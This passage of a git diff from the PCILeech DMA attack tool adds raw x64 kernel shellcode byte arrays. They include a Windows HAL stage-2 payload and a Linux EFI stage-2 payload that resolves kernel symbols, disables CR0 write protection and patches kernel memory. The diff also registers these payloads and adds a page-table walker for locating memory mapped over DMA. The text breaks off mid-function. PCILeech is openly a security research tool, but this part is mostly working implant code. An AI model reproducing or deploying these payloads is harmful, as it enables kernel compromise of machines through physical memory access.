0x40, 0x48, 0x8b, 0x53, 0x28, 0x48, - 0x8b, 0x8b, 0x20, 0x03, 0x00, 0x00, 0xe8, 0xb7, 0xfc, 0xff, 0xff, 0x4c, - 0x89, 0x63, 0x38, 0x48, 0x83, 0xbb, 0xf8, 0x0f, 0x00, 0x00, 0x07, 0x75, - 0x1c, 0x4c, 0x8b, 0x4b, 0x48, 0x4c, 0x8b, 0x43, 0x28, 0x48, 0x8b, 0x53, - 0x40, 0x48, 0x8b, 0x8b, 0x20, 0x03, 0x00, 0x00, 0xe8, 0x91, 0xfc, 0xff, - 0xff, 0x4c, 0x89, 0x63, 0x38, 0x48, 0x83, 0xa3, 0xf8, 0x0f, 0x00, 0x00, - 0x00, 0x48, 0x8d, 0x54, 0x24, 0x30, 0x48, 0x8b, 0x8b, 0x30, 0x03, 0x00, - 0x00, 0xe8, 0x74, 0xfc, 0xff, 0xff, 0xe9, 0x13, 0xfe, 0xff, 0xff, 0x48, - 0x8b, 0x8b, 0x18, 0x03, 0x00, 0x00, 0xb8, 0x00, 0x00, 0x00, 0xf0, 0x41, - 0xb8, 0x0a, 0x00, 0x00, 0x00, 0x48, 0x89, 0x43, 0x30, 0x48, 0x8b, 0xd5, - 0xe8, 0x51, 0xfc, 0xff, 0xff, 0x48, 0x83, 0x63, 0x20, 0x00, 0x48, 0x83, - 0x63, 0x28, 0x00, 0x48, 0x83, 0x23, 0x00, 0x48, 0x83, 0xa3, 0xf8, 0x0f, - 0x00, 0x00, 0x00, 0x4c, 0x89, 0x63, 0x38, 0x4c, 0x8d, 0x5c, 0x24, 0x50, - 0x49, 0x8b, 0x5b, 0x20, 0x49, 0x8b, 0x6b, 0x28, 0x49, 0x8b, 0x73, 0x30, - 0x49, 0x8b, 0xe3, 0x41, 0x5e, 0x41, 0x5c, 0x5f, 0xc3 + 0x49, 0x10, 0xe8, 0x8d, 0xfc, 0xff, 0xff, 0x48, 0x85, 0xc0, 0x75, 0x0e, + 0xb8, 0x01, 0x00, 0x00, 0xf0, 0x48, 0x89, 0x43, 0x30, 0xe9, 0x6d, 0x02, + 0x00, 0x00, 0x41, 0xbc, 0x01, 0x00, 0x00, 0x00, 0x48, 0x8b, 0xcb, 0x41, + 0x8b, 0xd4, 0xe8, 0x61, 0xfe, 0xff, 0xff, 0x48, 0x8b, 0xe8, 0x48, 0x85, + 0xc0, 0x75, 0x07, 0xb8, 0x02, 0x00, 0x00, 0xf0, 0xeb, 0xd7, 0x48, 0x8b, + 0x53, 0x20, 0x48, 0x8b, 0x4b, 0x10, 0xe8, 0xbf, 0xfd, 0xff, 0xff, 0x4c, + 0x8b, 0x43, 0x18, 0x48, 0x8b, 0xd0, 0x48, 0x8b, 0x8b, 0x10, 0x03, 0x00, + 0x00, 0x49, 0xc1, 0xe8, 0x0c, 0x48, 0x89, 0x43, 0x28, 0xe8, 0x50, 0xfd, + 0xff, 0xff, 0x48, 0x8b, 0x8b, 0x30, 0x03, 0x00, 0x00, 0x48, 0x8d, 0x54, + 0x24, 0x30, 0xe8, 0x3f, 0xfd, 0xff, 0xff, 0x48, 0x8b, 0x8b, 0x28, 0x03, + 0x00, 0x00, 0x4c, 0x89, 0x63, 0x30, 0xe8, 0x2f, 0xfd, 0xff, 0xff, 0x48, + 0x8b, 0x83, 0xf8, 0x0f, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x75, 0x30, 0x48, + 0x8b, 0x8b, 0x30, 0x03, 0x00, 0x00, 0x48, 0x8d, 0x54, 0x24, 0x40, 0xe8, + 0x12, 0xfd, 0xff, 0xff, 0x48, 0x8b, 0x44, 0x24, 0x30, 0x48, 0x83, 0xc0, + 0x05, 0x48, 0x39, 0x44, 0x24, 0x40, 0x76, 0xc3, 0x49, 0x8b, 0x0e, 0xba, + 0x64, 0x00, 0x00, 0x00, 0xe8, 0xf5, 0xfc, 0xff, 0xff, 0xeb, 0xb4, 0x48, + 0xc7, 0x43, 0x30, 0x02, 0x00, 0x00, 0x00, 0x48, 0x83, 0xf8, 0x03, 0x0f, + 0x84, 0x7e, 0x01, 0x00, 0x00, 0x48, 0x83, 0xf8, 0x04, 0x75, 0x43, 0x48, + 0x8b, 0x8b, 0x38, 0x03, 0x00, 0x00, 0x48, 0x85, 0xc9, 0x74, 0x2d, 0x48, + 0x83, 0x63, 0x48, 0x00, 0x48, 0x8d, 0x05, 0x47, 0xfd, 0xff, 0xff, 0x4c, + 0x8b, 0xcb, 0x48, 0x89, 0x44, 0x24, 0x20, 0x41, 0x83, 0xc8, 0xff, 0x33, + 0xd2, 0xe8, 0xb0, 0xfc, 0xff, 0xff, 0x33, 0xc9, 0x48, 0x85, 0xc0, 0x0f, + 0x94, 0xc1, 0x48, 0x89, 0x4b, 0x38, 0xeb, 0x05, 0x48, 0x83, 0x63, 0x38, + 0x00, 0xe8, 0x6d, 0xfd, 0xff, 0xff, 0x48, 0x83, 0xbb, 0xf8, 0x0f, 0x00, + 0x00, 0x05, 0x75, 0x18, 0x4c, 0x8d, 0x83, 0x20, 0x02, 0x00, 0x00, 0x48, + 0x8b, 0xcb, 0x48, 0x8d, 0x93, 0x20, 0x01, 0x00, 0x00, 0xff, 0x53, 0x28, + 0x4c, 0x89, 0x63, 0x38, 0x48, 0x8b, 0x83, 0xf8, 0x0f, 0x00, 0x00, 0x49, + 0x2b, 0xc4, 0x49, 0x3b, 0xc4, 0x0f, 0x87, 0xa7, 0x00, 0x00, 0x00, 0x4c, + 0x8b, 0x43, 0x48, 0x48, 0x8d, 0x05, 0x02, 0xfd, 0xff, 0xff, 0x48, 0x8b, + 0x53, 0x40, 0x4c, 0x8b, 0xcb, 0x48, 0x8b, 0x8b, 0x38, 0x03, 0x00, 0x00, + 0x49, 0xc1, 0xe8, 0x0c, 0x48, 0xc1, 0xea, 0x0c, 0x48, 0x89, 0x44, 0x24, + 0x20, 0xe8, 0x38, 0xfc, 0xff, 0xff, 0x48, 0x8b, 0xf0, 0x49, 0x3b, 0xc4, + 0x74, 0x6f, 0x48, 0x8b, 0x53, 0x40, 0x48, 0x85, 0xc0, 0x75, 0x0b, 0x48, + 0x8b, 0x4b, 0x10, 0xe8, 0x72, 0xfc, 0xff, 0xff, 0xeb, 0x10, 0x4c, 0x8b, + 0x43, 0x48, 0x48, 0x8b, 0x8b, 0x48, 0x03, 0x00, 0x00, 0xe8, 0x0c, 0xfc, + 0xff, 0xff, 0x48, 0x8b, 0xf8, 0x48, 0x85, 0xc0, 0x74, 0x43, 0x4c, 0x8b, + 0x4b, 0x48, 0x48, 0x8b, 0x8b, 0x20, 0x03, 0x00, 0x00, 0x4c, 0x39, 0xa3, + 0xf8, 0x0f, 0x00, 0x00, 0x75, 0x09, 0x48, 0x8b, 0x53, 0x28, 0x4c, 0x8b, + 0xc0, 0xeb, 0x07, 0x4c, 0x8b, 0x43, 0x28, 0x48, 0x8b, 0xd7, 0xe8, 0xdb, + 0xfb, 0xff, 0xff, 0x48, 0x85, 0xf6, 0x74, 0x0f, 0x48, 0x8b, 0x8b, 0x40, + 0x03, 0x00, 0x00, 0x48, 0x8b, 0xd7, 0xe8, 0xc7, 0xfb, 0xff, 0xff, 0x4c, + 0x89, 0x63, 0x38, 0xeb, 0x05, 0x48, 0x83, 0x63, 0x38, 0x00, 0x48, 0x83, + 0xbb, 0xf8, 0x0f, 0x00, 0x00, 0x06, 0x75, 0x1c, 0x4c, 0x8b, 0x4b, 0x48, + 0x4c, 0x8b, 0x43, 0x40, 0x48, 0x8b, 0x53, 0x28, 0x48, 0x8b, 0x8b, 0x20, + 0x03, 0x00, 0x00, 0xe8, 0x9a, 0xfb, 0xff, 0xff, 0x4c, 0x89, 0x63, 0x38, + 0x48, 0x83, 0xbb, 0xf8, 0x0f, 0x00, 0x00, 0x07, 0x75, 0x1c, 0x4c, 0x8b, + 0x4b, 0x48, 0x4c, 0x8b, 0x43, 0x28, 0x48, 0x8b, 0x53, 0x40, 0x48, 0x8b, + 0x8b, 0x20, 0x03, 0x00, 0x00, 0xe8, 0x74, 0xfb, 0xff, 0xff, 0x4c, 0x89, + 0x63, 0x38, 0x48, 0x83, 0xa3, 0xf8, 0x0f, 0x00, 0x00, 0x00, 0xe9, 0x13, + 0xfe, 0xff, 0xff, 0x48, 0x8b, 0x8b, 0x18, 0x03, 0x00, 0x00, 0xb8, 0x00, + 0x00, 0x00, 0xf0, 0x41, 0xb8, 0x0a, 0x00, 0x00, 0x00, 0x48, 0x89, 0x43, + 0x30, 0x48, 0x8b, 0xd5, 0xe8, 0x45, 0xfb, 0xff, 0xff, 0x48, 0x83, 0x63, + 0x20, 0x00, 0x48, 0x83, 0x63, 0x28, 0x00, 0x48, 0x83, 0x23, 0x00, 0x48, + 0x83, 0xa3, 0xf8, 0x0f, 0x00, 0x00, 0x00, 0x4c, 0x89, 0x63, 0x38, 0x4c, + 0x8d, 0x5c, 0x24, 0x50, 0x49, 0x8b, 0x5b, 0x20, 0x49, 0x8b, 0x6b, 0x28, + 0x49, 0x8b, 0x73, 0x30, 0x49, 0x8b, 0xe3, 0x41, 0x5e, 0x41, 0x5c, 0x5f, + 0xc3 +}; + +const BYTE LINUX_X64_STAGE2_EFI_BIN[] = { + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x6a, 0x00, 0x6a, 0x00, 0x6a, 0x00, 0x6a, 0x00, + 0x6a, 0x00, 0x6a, 0x00, 0x6a, 0x00, 0x6a, 0x00, 0x6a, 0x00, 0x6a, 0x00, + 0x6a, 0x00, 0x6a, 0x00, 0x6a, 0x00, 0x6a, 0x00, 0x49, 0xc7, 0xc3, 0x0e, + 0x00, 0x00, 0x00, 0x49, 0xff, 0xcb, 0x58, 0x48, 0x85, 0xc0, 0x74, 0xf7, + 0x50, 0x4c, 0x8b, 0xd0, 0x48, 0x8d, 0x05, 0xf9, 0xfe, 0xff, 0xff, 0x42, + 0xff, 0x74, 0xd8, 0x08, 0x57, 0x56, 0x51, 0x52, 0x41, 0x50, 0x41, 0x51, + 0x53, 0x55, 0x41, 0x54, 0x41, 0x55, 0x41, 0x56, 0x41, 0x57, 0x48, 0xc7, + 0xc1, 0x0e, 0x00, 0x00, 0x00, 0x48, 0xff, 0xc9, 0x48, 0x8d, 0x05, 0xd1, + 0xfe, 0xff, 0xff, 0x48, 0x8b, 0x14, 0xc8, 0x48, 0x8b, 0x05, 0xbe, 0xfe, + 0xff, 0xff, 0x48, 0x89, 0x54, 0xc8, 0x18, 0x48, 0x85, 0xc9, 0x75, 0xe1, + 0x49, 0x8b, 0xca, 0xe8, 0x26, 0x00, 0x00, 0x00, 0xe8, 0x76, 0x00, 0x00, + 0x00, 0xe8, 0xe3, 0x00, 0x00, 0x00, 0x41, 0x5f, 0x41, 0x5e, 0x41, 0x5d, + 0x41, 0x5c, 0x5d, 0x5b, 0x41, 0x59, 0x41, 0x58, 0x5a, 0x59, 0x5e, 0x5f, + 0x58, 0x48, 0x89, 0x05, 0x08, 0xff, 0xff, 0xff, 0xff, 0xe0, 0x48, 0x8d, + 0x05, 0xf6, 0x01, 0x00, 0x00, 0x4c, 0x8b, 0x28, 0x4c, 0x8b, 0x70, 0x08, + 0x4c, 0x8b, 0x78, 0x0e, 0x48, 0xff, 0xc1, 0x48, 0x8b, 0x01, 0x49, 0x3b, + 0xc5, 0x75, 0xf5, 0x48, 0x8b, 0x41, 0x08, 0x49, 0x3b, 0xc6, 0x75, 0xec, + 0x48, 0x8b, 0x41, 0x0e, 0x49, 0x3b, 0xc7, 0x75, 0xe3, 0x48, 0xff, 0xc1, + 0x4c, 0x8b, 0xf9, 0x48, 0xc1, 0xe9, 0x03, 0x48, 0xc1, 0xe1, 0x03, 0x48, + 0x83, 0xe9, 0x08, 0x48, 0x8b, 0x01, 0x49, 0x3b, 0xc7, 0x75, 0xf4, 0x48, + 0x8b, 0x41, 0xf8, 0x48, 0x89, 0x05, 0x02, 0xff, 0xff, 0xff, 0xc3, 0x41, + 0x57, 0x4c, 0x8b, 0x3d, 0xf8, 0xfe, 0xff, 0xff, 0x48, 0x8d, 0x3d, 0xea, + 0x01, 0x00, 0x00, 0x41, 0xff, 0xd7, 0x48, 0x89, 0x05, 0xdf, 0xfe, 0xff, + 0xff, 0x48, 0x8d, 0x3d, 0xe2, 0x01, 0x00, 0x00, 0x41, 0xff, 0xd7, 0x48, + 0x89, 0x05, 0xc6, 0xfe, 0xff, 0xff, 0x48, 0x8d, 0x3d, 0xa3, 0x01, 0x00, + 0x00, 0x41, 0xff, 0xd7, 0x48, 0x89, 0x05, 0xad, 0xfe, 0xff, 0xff, 0x48, + 0x8d, 0x3d, 0xa6, 0x01, 0x00, 0x00, 0x41, 0xff, 0xd7, 0x48, 0x89, 0x05, + 0x94, 0xfe, 0xff, 0xff, 0x48, 0x8d, 0x3d, 0x6a, 0x01, 0x00, 0x00, 0x41, + 0xff, 0xd7, 0x48, 0x89, 0x05, 0x73, 0xfe, 0xff, 0xff, 0x48, 0x8d, 0x3d, + 0xab, 0x01, 0x00, 0x00, 0x41, 0xff, 0xd7, 0x48, 0x89, 0x05, 0x6a, 0xfe, + 0xff, 0xff, 0x41, 0x5f, 0xc3, 0x48, 0xc7, 0xc7, 0x14, 0x00, 0x00, 0x00, + 0x48, 0xc7, 0xc6, 0x00, 0x00, 0x00, 0x00, 0xff, 0x15, 0x63, 0xfe, 0xff, + 0xff, 0x48, 0x8b, 0xf8, 0xe8, 0x01, 0x01, 0x00, 0x00, 0x4c, 0x8b, 0xe8, + 0x49, 0x8b, 0xfd, 0xe8, 0xeb, 0x00, 0x00, 0x00, 0x4c, 0x8b, 0xe0, 0x4c, + 0x89, 0x2d, 0x0e, 0xfe, 0xff, 0xff, 0x4c, 0x89, 0x25, 0x0f, 0xfe, 0xff, + 0xff, 0x48, 0x8d, 0x05, 0x9f, 0x01, 0x00, 0x00, 0x48, 0x8d, 0x15, 0xab, + 0x01, 0x00, 0x00, 0x48, 0x81, 0xe2, 0xff, 0x0f, 0x00, 0x00, 0x49, 0x03, + 0xd4, 0x48, 0x89, 0x10, 0x48, 0x8b, 0x15, 0x2d, 0xfe, 0xff, 0xff, 0x48, + 0x83, 0xc2, 0x19, 0x48, 0x8b, 0x0d, 0x1a, 0xfe, 0xff, 0xff, 0x2b, 0xca, + 0x48, 0x8d, 0x05, 0x7f, 0x01, 0x00, 0x00, 0x89, 0x08, 0x48, 0x33, 0xc9, + 0x4c, 0x8b, 0x05, 0x0d, 0xfe, 0xff, 0xff, 0x4c, 0x8d, 0x0d, 0x37, 0x01, + 0x00, 0x00, 0x4a, 0x8b, 0x04, 0x01, 0x4a, 0x89, 0x04, 0x09, 0x48, 0x83, + 0xc1, 0x08, 0x48, 0x83, 0xf9, 0x20, 0x75, 0xee, 0x48, 0x33, 0xc9, 0x4c, + 0x8d, 0x05, 0xfa, 0xfd, 0xff, 0xff, 0x49, 0xc1, 0xe8, 0x0c, 0x49, 0xc1, + 0xe0, 0x0c, 0x4a, 0x8b, 0x04, 0x01, 0x4a, 0x89, 0x04, 0x21, 0x48, 0x83, + 0xc1, 0x08, 0x48, 0x81, 0xf9, 0x00, 0x10, 0x00, 0x00, 0x75, 0xeb, 0x0f, + 0x20, 0xc0, 0x4c, 0x8b, 0xf8, 0x25, 0xff, 0xff, 0xfe, 0xff, 0x0f, 0x22, + 0xc0, 0x48, 0x33, 0xc9, 0x4c, 0x8b, 0x05, 0xb5, 0xfd, 0xff, 0xff, 0x4c, + 0x8d, 0x0d, 0xff, 0x00, 0x00, 0x00, 0x4a, 0x8b, 0x04, 0x09, 0x4a, 0x89, + 0x04, 0x01, 0x48, 0x83, 0xc1, 0x08, 0x48, 0x83, 0xf9, 0x20, 0x75, 0xee, + 0x41, 0x0f, 0x22, 0xc7, 0x44, 0x89, 0x2d, 0xc1, 0xfc, 0xff, 0xff, 0xc3, + 0x48, 0x8b, 0x05, 0x71, 0xfd, 0xff, 0xff, 0x48, 0x85, 0xc0, 0x74, 0x04, + 0x48, 0x8b, 0x00, 0xc3, 0x48, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x88, + 0xff, 0xff, 0xc3, 0x57, 0xe8, 0xdf, 0xff, 0xff, 0xff, 0x5f, 0x48, 0x03, + 0xc7, 0xc3, 0x48, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x00, 0xea, 0xff, 0xff, + 0x48, 0x2b, 0xf8, 0x48, 0xc1, 0xef, 0x07, 0x48, 0xc1, 0xe7, 0x0c, 0x48, + 0x8b, 0xc7, 0xc3, 0x00, 0x6b, 0x61, 0x6c, 0x6c, 0x73, 0x79, 0x6d, 0x73, + 0x5f, 0x6c, 0x6f, 0x6f, 0x6b, 0x75, 0x70, 0x5f, 0x6e, 0x61, 0x6d, 0x65, + 0x00, 0x6b, 0x74, 0x68, 0x72, 0x65, 0x61, 0x64, 0x5f, 0x63, 0x72, 0x65, + 0x61, 0x74, 0x65, 0x5f, 0x6f, 0x6e, 0x5f, 0x6e, 0x6f, 0x64, 0x65, 0x00, + 0x61, 0x6c, 0x6c, 0x6f, 0x63, 0x5f, 0x70, 0x61, 0x67, 0x65, 0x73, 0x5f, + 0x63, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x74, 0x00, 0x70, 0x61, 0x67, 0x65, + 0x5f, 0x6f, 0x66, 0x66, 0x73, 0x65, 0x74, 0x5f, 0x62, 0x61, 0x73, 0x65, + 0x00, 0x76, 0x66, 0x73, 0x5f, 0x72, 0x65, 0x61, 0x64, 0x00, 0x73, 0x65, + 0x74, 0x5f, 0x6d, 0x65, 0x6d, 0x6f, 0x72, 0x79, 0x5f, 0x78, 0x00, 0x77, + 0x61, 0x6b, 0x65, 0x5f, 0x75, 0x70, 0x5f, 0x70, 0x72, 0x6f, 0x63, 0x65, + 0x73, 0x73, 0x00, 0x70, 0x63, 0x69, 0x6c, 0x65, 0x65, 0x63, 0x68, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x57, 0x56, 0x52, + 0x51, 0x48, 0xbf, 0x88, 0x88, 0x88, 0x88, 0x88, 0x88, 0x88, 0x88, 0x57, + 0xbe, 0x01, 0x00, 0x00, 0x00, 0xe9, 0x77, 0x77, 0x77, 0x77, 0x41, 0x50, + 0x41, 0x51, 0x53, 0x55, 0x41, 0x54, 0x41, 0x55, 0x41, 0x56, 0x41, 0x57, + 0x0f, 0x20, 0xc2, 0x48, 0x8b, 0xc2, 0x25, 0xff, 0xff, 0xfe, 0xff, 0x0f, + 0x22, 0xc0, 0x48, 0x33, 0xc9, 0x4c, 0x8b, 0x05, 0x70, 0xfc, 0xff, 0xff, + 0x4c, 0x8d, 0x0d, 0x9a, 0xff, 0xff, 0xff, 0x4a, 0x8b, 0x04, 0x09, 0x4a, + 0x89, 0x04, 0x01, 0x48, 0x83, 0xc1, 0x08, 0x48, 0x83, 0xf9, 0x20, 0x75, + 0xee, 0x0f, 0x22, 0xc2, 0xb0, 0x00, 0xb2, 0x01, 0x48, 0x8d, 0x0d, 0x79, + 0xff, 0xff, 0xff, 0xf0, 0x0f, 0xb0, 0x11, 0x75, 0x05, 0xe8, 0x5a, 0x00, + 0x00, 0x00, 0x41, 0x5f, 0x41, 0x5e, 0x41, 0x5d, 0x41, 0x5c, 0x5d, 0x5b, + 0x41, 0x59, 0x41, 0x58, 0x59, 0x5a, 0x5e, 0x5f, 0xff, 0x25, 0x26, 0xfc, + 0xff, 0xff, 0xeb, 0x07, 0x6d, 0x73, 0x6c, 0x65, 0x65, 0x70, 0x00, 0x48, + 0x8d, 0x3d, 0xf2, 0xff, 0xff, 0xff, 0x48, 0x8d, 0x05, 0xf9, 0xef, 0xff, + 0xff, 0x48, 0x8b, 0x00, 0xff, 0xd0, 0x48, 0xc7, 0xc7, 0x64, 0x00, 0x00, + 0x00, 0xff, 0xd0, 0x48, 0x8d, 0x05, 0xcc, 0xff, 0xff, 0xff, 0x48, 0x8b, + 0x00, 0x48, 0x83, 0xf8, 0x00, 0x74, 0xd4, 0x48, 0x33, 0xc0, 0xb9, 0x00, + 0x04, 0x00, 0x00, 0xfc, 0xf3, 0x48, 0xab, 0xc3, 0x48, 0xc7, 0xc7, 0x14, + 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc6, 0x02, 0x00, 0x00, 0x00, 0xff, 0x15, + 0xc0, 0xfb, 0xff, 0xff, 0x48, 0x8b, 0xf8, 0xe8, 0x5e, 0xfe, 0xff, 0xff, + 0x4c, 0x8b, 0xe8, 0x49, 0x8b, 0xfd, 0xe8, 0x48, 0xfe, 0xff, 0xff, 0x4c, + 0x8b, 0xe0, 0x49, 0x8b, 0xfc, 0x48, 0xc7, 0xc6, 0x02, 0x00, 0x00, 0x00, + 0xff, 0x15, 0xa2, 0xfb, 0xff, 0xff, 0x49, 0x8b, 0xfc, 0xe8, 0xb1, 0xff, + 0xff, 0xff, 0x48, 0xc7, 0xc7, 0x40, 0x00, 0x00, 0x00, 0x48, 0x83, 0xef, + 0x08, 0x48, 0x8d, 0x05, 0x6a, 0xff, 0xff, 0xff, 0x48, 0x8b, 0x04, 0x07, + 0x49, 0x8b, 0xf4, 0x48, 0x81, 0xc6, 0x00, 0x10, 0x00, 0x00, 0x48, 0x03, + 0xf7, 0x48, 0x89, 0x06, 0x48, 0x85, 0xff, 0x75, 0xdc, 0x49, 0x8b, 0xfc, + 0x48, 0x81, 0xc7, 0x00, 0x10, 0x00, 0x00, 0x48, 0x33, 0xf6, 0x48, 0x33, + 0xd2, 0x48, 0x83, 0xea, 0x01, 0x48, 0x8d, 0x0d, 0x83, 0xfe, 0xff, 0xff, + 0xff, 0x15, 0x2e, 0xfb, 0xff, 0xff, 0x49, 0x89, 0x44, 0x24, 0x58, 0x48, + 0x8b, 0x05, 0x52, 0xfb, 0xff, 0xff, 0x49, 0x89, 0x44, 0x24, 0x10, 0x49, + 0x8b, 0x7c, 0x24, 0x58, 0xff, 0x15, 0x1a, 0xfb, 0xff, 0xff, 0x44, 0x89, + 0x2d, 0x63, 0xfa, 0xff, 0xff, 0xc3 }; const BYTE MACOS_STAGE1_BIN[] = { @@ -732,9 +881,11 @@ const SHELLCODE_DEFAULT_STRUCT SHELLCODE_DEFAULT[] = { {.sz = "DEFAULT_WINX64_STAGE1",.pb = (PBYTE)WINX64_STAGE1_BIN,.cb = sizeof(WINX64_STAGE1_BIN)}, {.sz = "DEFAULT_WINX64_STAGE2",.pb = (PBYTE)WINX64_STAGE2_BIN,.cb = sizeof(WINX64_STAGE2_BIN)}, {.sz = "DEFAULT_WINX64_STAGE3",.pb = (PBYTE)WINX64_STAGE3_BIN,.cb = sizeof(WINX64_STAGE3_BIN)}, + {.sz = "DEFAULT_WINX64_STAGE2_HAL",.pb = (PBYTE)WINX64_STAGE2_HAL_BIN,.cb = sizeof(WINX64_STAGE2_HAL_BIN)}, {.sz = "DEFAULT_LINUX_X64_STAGE1",.pb = (PBYTE)LINUX_X64_STAGE1_BIN,.cb = sizeof(LINUX_X64_STAGE1_BIN)}, {.sz = "DEFAULT_LINUX_X64_STAGE2",.pb = (PBYTE)LINUX_X64_STAGE2_BIN,.cb = sizeof(LINUX_X64_STAGE2_BIN)}, {.sz = "DEFAULT_LINUX_X64_STAGE3",.pb = (PBYTE)LINUX_X64_STAGE3_BIN,.cb = sizeof(LINUX_X64_STAGE3_BIN)}, + {.sz = "DEFAULT_LINUX_X64_STAGE2_EFI",.pb = (PBYTE)LINUX_X64_STAGE2_EFI_BIN,.cb = sizeof(LINUX_X64_STAGE2_EFI_BIN) }, {.sz = "DEFAULT_MACOS_STAGE1",.pb = (PBYTE)MACOS_STAGE1_BIN,.cb = sizeof(MACOS_STAGE1_BIN)}, {.sz = "DEFAULT_MACOS_STAGE2",.pb = (PBYTE)MACOS_STAGE2_BIN,.cb = sizeof(MACOS_STAGE2_BIN)}, {.sz = "DEFAULT_MACOS_STAGE3",.pb = (PBYTE)MACOS_STAGE3_BIN,.cb = sizeof(MACOS_STAGE3_BIN)}, diff --git a/pcileech/util.c b/pcileech/util.c index cf04085..1f2a4c2 100644 --- a/pcileech/util.c +++ b/pcileech/util.c @@ -1,6 +1,6 @@ // util.c : implementation of various utility functions. // -// (c) Ulf Frisk, 2016 +// (c) Ulf Frisk, 2016, 2017 // Author: Ulf Frisk, pcileech@frizk.net // #include "util.h" @@ -217,6 +217,88 @@ BOOL Util_PageTable_FindSignatureBase(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDevi return FALSE; } +BOOL Util_PageTable_FindMappedAddress(_In_ PCONFIG pCfg, _In_ PDEVICE_DATA pDeviceData, _In_ QWORD qwCR3, _In_ QWORD qwAddrPhys, _Out_ PQWORD pqwAddrVirt, _Out_ PQWORD pqwPTE) +{ + BOOL result, fFirstRun; + QWORD PML4[512], PDPT[512], PD[512], PT[512]; + QWORD PML4_idx = 0xfff, PDPT_idx = 0xfff, PD_idx = 0xfff, PT_idx = 0xfff; + QWORD qwA; + QWORD qwPageTableData; + UNREFERENCED_PARAMETER(pCfg); + result = DeviceReadMEM(pDeviceData, qwCR3, (PBYTE)PML4, 0x1000, PCILEECH_MEM_FLAG_RETRYONFAIL); + if(!result) { return FALSE; } + qwA = 0; + fFirstRun = TRUE; + while(qwA || fFirstRun) { + fFirstRun = FALSE; + if(qwA & 0xffff800000000000) { + qwA |= 0xffff800000000000; + } + if(PML4_idx != (0x1ff & (qwA >> 39))) { // PML4 + PML4_idx = 0x1ff & (qwA >> 39); + qwPageTableData = PML4[PML4_idx]; + if((qwPageTableData & 0x81) != 0x01) { + qwA = (qwA + 0x0000008000000000) & 0xffffff8000000000; + continue; + } + result = DeviceReadMEM(pDeviceData, qwPageTableData & ~0xfff, (PBYTE)PDPT, 0x1000, 0); + if(!result) { + qwA = (qwA + 0x0000008000000000) & 0xffffff8000000000; + continue; + } + PDPT_idx = 0xfff; + PD_idx = 0xfff; + PT_idx = 0xfff; + } + if(PDPT_idx != (0x1ff & (qwA >> 30))) { // PDPT(Page-Directory Pointer Table) + PDPT_idx = 0x1ff & (qwA >> 30); + qwPageTableData = PDPT[PDPT_idx]; + if((qwPageTableData & 0x81) != 0x01) { + qwA = (qwA + 0x0000000040000000) & 0xffffffffC0000000; + continue; + } + result = DeviceReadMEM(pDeviceData, qwPageTableData & ~0xfff, (PBYTE)PD, 0x1000, 0); + if(!result) { + qwA = (qwA + 0x0000000040000000) & 0xffffffffC0000000; + continue; + } + PD_idx = 0xfff; + PT_idx = 0xfff; + } + if(PD_idx != (0x1ff & (qwA >> 21))) { // PD (Page Directory) + PD_idx = 0x1ff & (qwA >> 21); + qwPageTableData = PD[PD_idx]; + if(((qwPageTableData & 0x81) == 0x81) && ((qwPageTableData & 0x0000ffffffe00000) == (qwAddrPhys & 0x0000ffffffe00000))) { // map 2MB page + *pqwAddrVirt = qwA + (qwAddrPhys & 0x1fffff); + *pqwPTE = qwPageTableData; + return TRUE; + } + if((qwPageTableData & 